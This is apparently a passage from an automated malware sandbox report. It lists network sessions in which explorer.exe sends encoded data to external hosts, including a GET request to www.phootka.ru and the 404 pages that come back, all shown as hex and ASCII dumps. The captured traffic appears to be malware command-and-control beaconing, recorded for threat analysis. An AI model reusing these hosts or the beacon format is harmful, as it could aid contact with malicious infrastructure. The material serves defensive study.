5a 53 46 79 76 77 68 55 6a 6d 7a 6a 43 71 28 4a 30 65 57 67 4b 6c 71 69 58 46 41 74 69 79 28 75 78 63 31 31 4a 72 33 6e 54 61 75 61 68 58 74 53 62 30 4c 52 51 4b 4c 78 43 39 6f 37 28 59 6e 78 58 6f 74 64 52 38 71 33 62 63 67 62 72 42 6b 77 66 4e 79 59 56 6a 52 73 35 63 4f 55 50 59 75 58 46 58 7e 6d 57 41 6b 4a 6f 55 44 4f 61 68 38 4e 46 54 71 56 6b 45 5a 6f 73 5f 61 74 41 54 63 61 74 67 43 55 7e 30 51 37 55 51 55 4e 4e 35 6a 42 46 56 39 43 51 58 4d 6d 64 44 67 71 4d 37 59 32 43 53 6c 7a 49 73 42 62 36 61 54 79 4f 53 33 69 47 51 4c 71 6e 4b 63 4b 4a 51 73 45 4b 4f 4d 78 71 70 41 71 52 4b 45 77 30 77 77 79 39 65 64 74 4d 56 39 37 6e 51 30 52 53 41 43 7a 38 69 55 47 57 4d 36 67 58 79 32 4c 4c 69 66 69 51 70 61 6a 51 4c 37 5a 34 2d 6c 59 44 4a 37 31 63 79 45 68 5a 66 73 31 78 59 37 53 58 46 64 30 70 43 75 39 48 62 28 63 70 5f 65 42 53 57 47 68 55 63 6b 79 7e 6f 34 44 72 42 37 5a 73 64 50 36 67 38 6d 67 78 45 55 7a 79 57 4a 72 5a 56 79 77 6f 79 43 65 71 6b 6b 54 6b 4c 49 36 74 70 76 73 72 62 49 55 44 6f 4d 52 34 7a 69 6d 4b 58 37 33 54 78 73 5a 31 67 53 76 68 41 39 67 57 39 66 33 61 37 41 66 56 69 30 71 4b 54 70 39 39 56 4c 59 42 61 28 79 38 45 33 79 44 74 6d 39 6c 4f 49 56 71 77 6a 7a 73 79 32 4e 6d 58 55 4f 35 32 7a 58 6d 37 6f 6c 58 78 61 79 37 63 7e 34 42 76 32 6b 74 63 7e 75 6c 6d 54 30 55 33 30 77 72 66 38 31 59 50 37 64 53 4e 46 48 63 38 78 33 69 36 6f 56 33 4e 5a 31 63 63 51 54 52 44 62 53 78 52 61 59 38 33 79 42 71 76 7a 75 72 63 74 6f 6b 33 6c 77 47 Data Ascii: r4txB=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657i8fM0D3ZJ8AWfl7piu7vuH0MAX3HPKcahXHDb3J05-RDeuRUCLrG1M2iuG5YEfseWOWNpfwiu7eyHjWjamoyfFlILzOa0Mx1eQ4lQYQDmZgq1gw8zLSnF4YENMUwsG~vBBVPwZFu8wPW2kYrPSjU1DOTaDQlNeYIvXLab0E7AGuze8YH36CCo_VHoKorm0lW1KYJC8jPy7Q00LeGj7niYG9U56qy6ZPmOFHT5HaCYoWLDDEBLnDXZGx1CePq2gbjHDTOIDVDjclbzE8k5c43BeJqafJMiqbANwT6WYfjAEOqxzo7(lo4zlsNY1lKwWwZRa4Oretn1ppik1H-2kjmxinrZKHrlz7ZlnJyhEttlu96GTD19jhadIZd7pkF8_zF(WKei_85Tna4JUUhB59K5GP1K6M1U7~Y35S9Kvjue1lFGrEFIEgmjgcq8yqKWciJpvUuDQJBzaxkojNyFRkPADWvALOBEDtoDeLbCgSlqlkNo7gDWCpIw6IQkzhuCa3ZKolhKA0b6gepwx9u81jNFLniAl9GWRNIkJvSW7a_CRHXyeyUBf8ZFoTgpMIyovPOcBd2OBlkJUwJfpYYIkRbtJSzVIArZNYXy7IfLq2B6fHAYA7pVm06FGzyUAuX4N~5ca0IL4IszMV8FCaWfV(TQQmXoAtaIu1ODJ4W0_lYWQIRmiJ2h4pE8feGfmLv6Ixd8cJqtKNso8IuofkwhNKlzM2Xj2HWCXHW6Mdumuq0KdzOpCs7EMhutoaWhWpNN5bGpq~BMVR5NGiREHe5qon8~YUgSPab7GJJ4agGdfxujhYY7YJxR8F5BrZSFyvwhUjmzjCq(J0eWgKlqiXFAtiy(uxc11Jr3nTauahXtSb0LRQKLxC9o7(YnxXotdR8q3bcgbrBkwfNyYVjRs5cOUPYuXFX~mWAkJoUDOah8NFTqVkEZos_atATcatgCU~0Q7UQUNN5jBFV9CQXMmdDgqM7Y2CSlzIsBb6aTyOS3iGQLqnKcKJQsEKOMxqpAqRKEw0wwy9edtMV97nQ0RSACz8iUGWM6gXy2LLifiQpajQL7Z4-lYDJ71cyEhZfs1xY7SXFd0pCu9Hb(cp_eBSWGhUcky~o4DrB7ZsdP6g8mgxEUzyWJrZVywoyCeqkkTkLI6tpvsrbIUDoMR4zimKX73TxsZ1gSvhA9gW9f3a7AfVi0qKTp99VLYBa(y8E3yDtm9lOIVqwjzsy2NmXUO52zXm7olXxay7c~4Bv2ktc~ulmT0U30wrf81YP7dSNFHc8x3i6oV3NZ1ccQTRDbSxRaY83yBqvzurctok3lwG95fKmTPm6DlTA9LnSZrgriTgP2KdFcrFQXuceHTeHS-RAgAHBrrGY9b0oHbRmQeX_Eh(WAxo5wPV9QZibJLnSQsFjojJFt_bONv4HkFB4kV9KPyW0ITa7bSxtEC2x0lI3EXOC2-rQTWP9(j6XD4~wBwrvU8GuoqeuSi2dPQYb2vTSSPPrV082ZbpwvITyNygd9J9HBzOYAGi3MIGYnb2AsifutJmAOjgMq7yqnL0SBjZqVf36LsR03xY5es2TfAwthAj0AVggu-(AmAi9yUaOJNeQCOMIIEVbBTZNxekXKJ2mnNkZsdWKxxtIKT5OC2vdWMnfL_nuXVrOkznN8xtJxB7LLmg7HHlt4znkFAne5bKVMD9pR9KlkwQ-kZSQ8BUn(wIZ2vQQb89rJzb6yiv7AjAFXUrbtIBCbqpI4dsAXfhLEfgRgTMCu2YbOzHEjfA0wPgbs0Zv6bJBteoKw3G5Q3~yoXoG23yKZT~S4OtP8XgO8RGBgLkNoKcDRl57~kxOzaYoy0xJIPBpx89m99WiPvZ18zIrEdw4CkVtKe9DIvTp~fIdQ0W6954mbgDsvpdcslqtFoTa~L1fPD7Sba7F37U_m9ad6xMTRe0iGpXhHMeQMB4XVb7-(G5iczTpDiv1d3Wd3GZf(UoJO5Z8RKu-YkRs4xhLkqPqpfM3(czjMR~62v~45UYTLXu1Jha_O9Nv1nDWarY80G3CquqyT3(SFjS2in4aCqvdlGHCQ57fRm6UkXSWFRCdqPfHdXs1CTBeQEfd2n50KyxuuA(JfXMKAy80KAzjxxUunJitoMhv3KVx2kKCNSfqnX2wVGVErDRmW9S-aylu1Vj0hK3RsBYF8lka74hynj5v4FH2u_lAreR6yObugIjdoA28X5zA5ORUPW1wtm1EmNTn(ReZxuj9K2lG~xUyeEh5SaXDK-kGvGFNGuCuTDJTrz~XbePmtpRDpO(YzugoKRIjXjHQp0Z2i3EjMOzQ65Yf0Lm6CUq1m8olCqXSYec2u07O~1BECVJfmik2L57BmfgFY5QYJqWx1GNPr4f72MeKXZ0_iPjIXq117cuZKZsdKox66GjaX9aGYB11P4OWcyTgWY0aYgY4N-mR0MfHGin9pR9ZA3B-N_cybDIY8cIYUXaeJ-249iZxVDcmDfIFL4dJ3Mu4xkWtFTvOryZhAmKyAK~ktk1KRK8mOnti2YMBCwDvkw1tCSGQrNRA7VQtWL4GLmXuL8WNkiXrWfKfHRpkZpf5O8TmPt6QySzGt_j893HxJn2pwdfgpyyvULWwowYbumw27oMhNf2XNCbQOlhfMRqKPkg0MudKaTG_YVpw(1282LkjeCuOmWPK8mrN5vkqP7fv8IQwZ1MXDrdAn81LmRy8UOHyX0Gcn0CAezTA~b6HXqjBCwAPPhIsZOf6Ys8y4enx1H3lsLFq2mkKqf1rckZ-EnFkGh0w9XrBhDtEQ9cy3CjxuzilrSnhycfGJ2TgykUA2Op4vPPSiwS1bL5zCspZRenDHwrzvoel6VXBKsuVHXdN6l53513SEYoOn4NayUO3rqbQFyu8aNvGbq(_uj3pdcX311EwUpJF1toNdJ8oGDiQU2Q-Mo~QG-yZAt7neHevUyUcGmd_d8IucR~7GtjlG8bZDJbwer1ZY47-lHsTg_zwefBhy39nBifNXKM3jaV3XYfMnIT8TlKZI1w4Z53LtrBf8lP9tEsBPOGsDV6h(2BF5jmigkqD45UKElN0VlzXz7eVFRt_9wT1wSD3jqgLAPr2IlI8YiyNC6XIyNXEwnHCplFYrv9rMWOSTnmRXPZbfR1cE0Oq5lYxteMowlPn3XF7c7Y7849OjkZCCw9DZHqGmTD1h8SdCJX4OjM0Ee3CXEP1f54OEKtfKswr8mwcAWRHXI(oTFKnp8ru~MVrteQvg8~mLCTE49dD7jxcTkdMSEnbNgw7S4ZJ5LJJNkH-7JgKiz6Sc4x7UZkFUuQk7a8sl6fjcliR~W13SXGt07B59PnGdr6SIrJZ5qGfavCAAjdfts8aCjpJMy1CA777Kq4gZYAzwcy-39FII1Jf9ZEF6-HwBXcGQHwIldO3HtV4GuIkInn1Vac7(k3N
Nov 21, 2022 19:20:21.453119993 CET	509	OUT	Data Raw: 33 43 71 42 4e 76 44 78 53 33 48 54 41 4f 48 35 4d 39 33 6c 6b 7a 6f 71 53 6b 70 4c 51 66 45 73 64 57 6b 58 75 66 6f 37 30 71 43 69 45 62 62 50 35 52 4c 70 45 6a 6d 51 54 77 67 76 56 69 6d 63 46 6f 6f 79 73 58 56 7a 6a 4a 36 77 6f 4a 67 39 54 4e Data Ascii: 3CqBNvDxS3HTAOH5M93lkzoqSkpLQfEsdWkXufo70qCiEbbP5RLpEjmQTwgvVimcFooysXVzjJ6woJg9TNbS3uWCj31FfTQnLORE(lrYcEDHOjyh6pd53UM5Ko9LvcRLAJIzOi3bHrLMVggpRrdzDz07UwvTUGkf1s3U82cJzOk9ntgdxo6rtakQKhiL9clNF3F1qT1no23Ehhorx7HK4tpzlnRm4QPZmnmFHfANjqEqlMTCBVh
Nov 21, 2022 19:20:21.510911942 CET	512	OUT	Data Raw: 7e 53 6a 56 67 33 68 36 42 46 65 50 55 5f 32 70 43 44 4a 61 43 70 62 56 33 4c 42 70 4f 69 6b 4e 74 79 67 6e 35 37 51 69 37 67 74 31 55 61 67 43 52 49 71 6a 48 4b 4f 6b 4e 73 34 2d 4e 6c 49 51 51 36 6b 4e 6b 38 47 7a 64 5a 33 51 64 43 55 73 34 57 Data Ascii: ~SjVg3h6BFePU_2pCDJaCpbV3LBpOikNtygn57Qi7gt1UagCRIqjHKOkNs4-NlIQQ6kNk8GzdZ3QdCUs4W1XpsS8uwwKz2jBw3U_5zT4mpeiPwkwcBzFqjHXqWX6V9nG~U9KBScccrPCtVohMRY1IlF8w2SO41ymWYDUPZZb9dOXNIcfR7ORIJbULTVqsa30j1HG~gbjMVB862Whzm73by~9zvfJtUcKhioQrkft(O4LTlH3oly
Nov 21, 2022 19:20:21.511076927 CET	517	OUT	Data Raw: 50 2d 50 62 7e 6d 69 31 42 52 57 4d 34 52 43 63 54 4e 45 56 7a 67 65 4c 6e 79 7e 48 6c 35 30 73 6b 52 76 50 4e 54 6a 55 54 74 47 4f 52 58 42 45 57 55 55 43 6d 4d 78 30 62 58 54 73 72 58 4b 68 51 33 39 2d 52 47 69 74 35 5f 58 57 53 70 78 76 67 44 Data Ascii: P-Pb~mi1BRWM4RCcTNEVzgeLny~Hl50skRvPNTjUTtGORXBEWUUCmMx0bXTsrXKhQ39-RGit5_XWSpxvgD0Yb_jIkA2r26IGxWyZ~yw8HWJZ0V(K7DwyDrT_Z9hqguHOeJXNcFOsHHhbPsk157Z_VRilRViy6uSZUZ0aNQTUaWxc2DoJauvsU9NrUqo3qAOzB4e71LcqWZXiIqagcgUSe8JPH5~Qs5J4vGyZzDjf5a3dFyxyXgX
Nov 21, 2022 19:20:21.511414051 CET	521	OUT	Data Raw: 50 63 54 43 57 6b 51 75 39 6c 75 33 51 66 36 30 50 76 53 54 54 32 59 67 4b 51 59 52 4d 78 68 71 51 4f 4c 33 50 77 49 38 43 36 59 49 54 4a 6c 75 55 52 7a 66 77 6c 43 64 75 6f 46 76 65 42 4c 4c 56 4f 69 77 28 52 63 64 57 37 55 69 7e 53 78 6b 55 64 Data Ascii: PcTCWkQu9lu3Qf60PvSTT2YgKQYRMxhqQOL3PwI8C6YITJluURzfwlCduoFveBLLVOiw(RcdW7Ui~SxkUdEvfHKCMOjKbgocShE7cmb9PaRxVxp-CEkyAMqWjxnzzzGmIYYejT2OfWRw1NJXzZjCio00DHviXzYdkFBvtDiVj8Lxp1ZaqcbtnidNt9hI59tlDTZ0Ff3jjC8PJDo-7-kSqrEiv0aX2abnLziHWNpMop6C8dYLawZ
Nov 21, 2022 19:20:21.511584044 CET	522	OUT	Data Raw: 32 68 49 52 36 46 65 73 56 4a 53 6c 76 79 6b 61 52 46 6c 6b 78 63 33 72 53 41 45 53 66 38 43 50 5a 50 45 6f 34 46 47 4d 52 6e 4f 53 34 49 35 58 78 46 52 61 39 41 39 49 54 69 62 35 6c 55 67 78 68 2d 67 4e 51 4a 6d 48 6c 2d 43 68 39 58 38 52 55 48 Data Ascii: 2hIR6FesVJSlvykaRFlkxc3rSAESf8CPZPEo4FGMRnOS4I5XxFRa9A9ITib5lUgxh-gNQJmHl-Ch9X8RUH76uHKmNDz0H_(Go8TwzYCkEvXc(fTYiiIH0skb9jBG3jG4xHuf7gzBh3SUkw5WJlk-4tpxk1oQxw3L09x1T7UnRbjfvoVnyD3gNpo1b_HlLU4OEDmNfEx3mfNs2qnKIRTs(8NQJXANjYiRL5ISN-Rx8djIqJS0ql(
Nov 21, 2022 19:20:21.511754990 CET	525	OUT	Data Raw: 69 39 28 63 35 67 31 4a 4a 6e 51 44 6c 4c 74 34 5a 73 58 47 57 61 51 63 75 72 46 49 49 41 44 68 4d 43 66 32 6e 32 64 30 71 38 4a 58 42 33 4f 32 65 66 6d 38 64 38 64 33 57 6e 4e 39 64 52 6c 4c 71 6d 46 54 76 4e 73 4e 32 72 5a 57 77 76 52 34 72 42 Data Ascii: i9(c5g1JJnQDlLt4ZsXGWaQcurFIIADhMCf2n2d0q8JXB3O2efm8d8d3WnN9dRlLqmFTvNsN2rZWwvR4rBimaTRCw9(BvbVUL4A-mawf35Bp7H3cCFonRYxHatmViT~s2glAuXBMJkHdxdYL~vPV1N2BRtrX8Rh2Sk(y4H0I3D0gy1neJTsv1WVOMnRQIVAS9TyAWYmawKoBh7Za2ddJkcrhxJmzCeMvOl3TlecgKovEK-R1b_Z
Nov 21, 2022 19:20:21.511921883 CET	526	OUT	Data Raw: 4d 49 78 4e 62 30 6b 70 51 70 30 46 46 34 42 4d 77 51 44 64 4b 79 77 4e 4c 46 59 42 4f 6c 58 55 70 46 55 6e 33 6c 62 78 34 39 68 63 35 33 5a 57 51 47 76 66 68 67 6d 64 28 75 77 31 73 49 5a 42 32 32 7a 4c 78 70 46 51 48 48 59 77 61 61 78 68 4b 6b Data Ascii: MIxNb0kpQp0FF4BMwQDdKywNLFYBOlXUpFUn3lbx49hc53ZWQGvfhgmd(uw1sIZB22zLxpFQHHYwaaxhKktSd3eOuQNUwkXnHOtxkdxyl9w4ktQS5iuFfbHVks0MUn(0Y0GIDn0ySl85GvwvrREe2BU7PmAwpK4336lTnl9nt2kjzENhrKTrPbRFvj(GA9hBY2zu5709MHra(FlBD1gHjoR4ohuqiIZUQvVCEwMJG1~s7JCPOqC
Nov 21, 2022 19:20:21.512089968 CET	530	OUT	Data Raw: 6d 35 6d 57 77 79 50 62 6c 35 68 38 77 74 46 51 63 30 33 66 33 59 6e 5a 6d 45 71 44 39 48 6d 4d 6a 32 32 6b 76 68 7a 70 74 37 57 33 72 43 72 74 6d 63 4f 5a 45 41 47 47 72 50 70 38 7e 35 58 75 66 66 52 5a 57 46 66 70 30 41 7a 5f 7a 71 49 45 79 37 Data Ascii: m5mWwyPbl5h8wtFQc03f3YnZmEqD9HmMj22kvhzpt7W3rCrtmcOZEAGGrPp8~5XuffRZWFfp0Az_zqIEy7XfTx(9zJM3woyMGelA88EQWj9VVOnnBfzGMsKqNCsWnsTgB9KRzN(V2_M5Y57UJcKxvQSjK660qTJhoDNKhLUW2RkyOi8-tR1lojh5SaqDkCqzzWHkqx0qTZoWJeq_XuegMZAv4HrS4KkqoTmhWbTeOdZxBCWcZBB
Nov 21, 2022 19:20:21.512428999 CET	533	OUT	Data Raw: 36 78 28 66 6f 46 6d 75 76 2d 34 67 41 45 39 6e 73 42 45 64 77 68 30 54 4f 6c 55 57 4a 45 62 39 52 67 56 79 4d 79 56 6f 4b 32 4e 37 57 31 30 4c 73 5a 74 51 32 39 33 66 51 7a 44 48 37 50 4b 38 43 42 78 48 34 62 7a 52 38 58 44 52 7e 5f 7e 63 31 32 Data Ascii: 6x(foFmuv-4gAE9nsBEdwh0TOlUWJEb9RgVyMyVoK2N7W10LsZtQ293fQzDH7PK8CBxH4bzR8XDR~_~c12mq5etXXCJRma4mIplbb-RsywkCm9TiUc8a57M30XRy7e4YKPvVyePGmXmwYjc303hQRG6TPWxg7jzwZl1WS9e1FbfwmYpA08sy~NruM2Fk2KaoxwVYAp88pmPuOuV6q22Mc1FHiuID8yDZNSIw7rjPePwHCT8YweO
Nov 21, 2022 19:20:21.512767076 CET	535	OUT	Data Raw: 75 74 67 48 4d 71 52 52 37 55 4f 79 79 4c 71 54 6d 70 4d 57 61 4e 6d 61 36 68 45 46 6c 65 4f 4b 65 65 72 66 41 77 70 39 46 45 79 4b 59 67 30 41 38 4d 43 65 38 47 51 4c 54 55 68 49 75 47 56 77 4b 59 71 34 6a 31 33 61 51 6a 66 34 61 6d 55 51 46 6f Data Ascii: utgHMqRR7UOyyLqTmpMWaNma6hEFleOKeerfAwp9FEyKYg0A8MCe8GQLTUhIuGVwKYq4j13aQjf4amUQFoLSiBQNuK(Dg5NJ7r5FFBl_oaWQYHHT28OVRLbFXd3CaeUtKW8Zs2tgp2m1ELFaxhHFyivOLXkU0zlFjeiLo4lXRlpz7h9vcU5jqFv-o_2YAkyN7HDon2uSkvxNCVlj2wk8bUVgPLCAMvVmKQDAQpWPgRVhTuAxABD
Nov 21, 2022 19:20:21.662648916 CET	550	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:20:21 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.11.20	49875	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:01.783169031 CET	1455	OUT	GET /nqhc/?r4txB=nxEpVeNHnARypVRSWPzq+Yc9yhVf8J7idG64BP0ay1SSlgh8opdyHa7T5FU3HpxZiEIb1VwF2iL8pFHt356/ltXz75Eg7AD5bw==&1b=S8jD HTTP/1.1 Host: www.phootka.ru Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:23:01.843957901 CET	1456	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 21 Nov 2022 18:23:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Nov 21, 2022 19:23:01.844044924 CET	1458	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Nov 21, 2022 19:23:01.844110966 CET	1459	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
Nov 21, 2022 19:23:01.844172955 CET	1460	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Nov 21, 2022 19:23:01.844233990 CET	1462	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Nov 21, 2022 19:23:01.844299078 CET	1463	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Nov 21, 2022 19:23:01.844402075 CET	1464	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
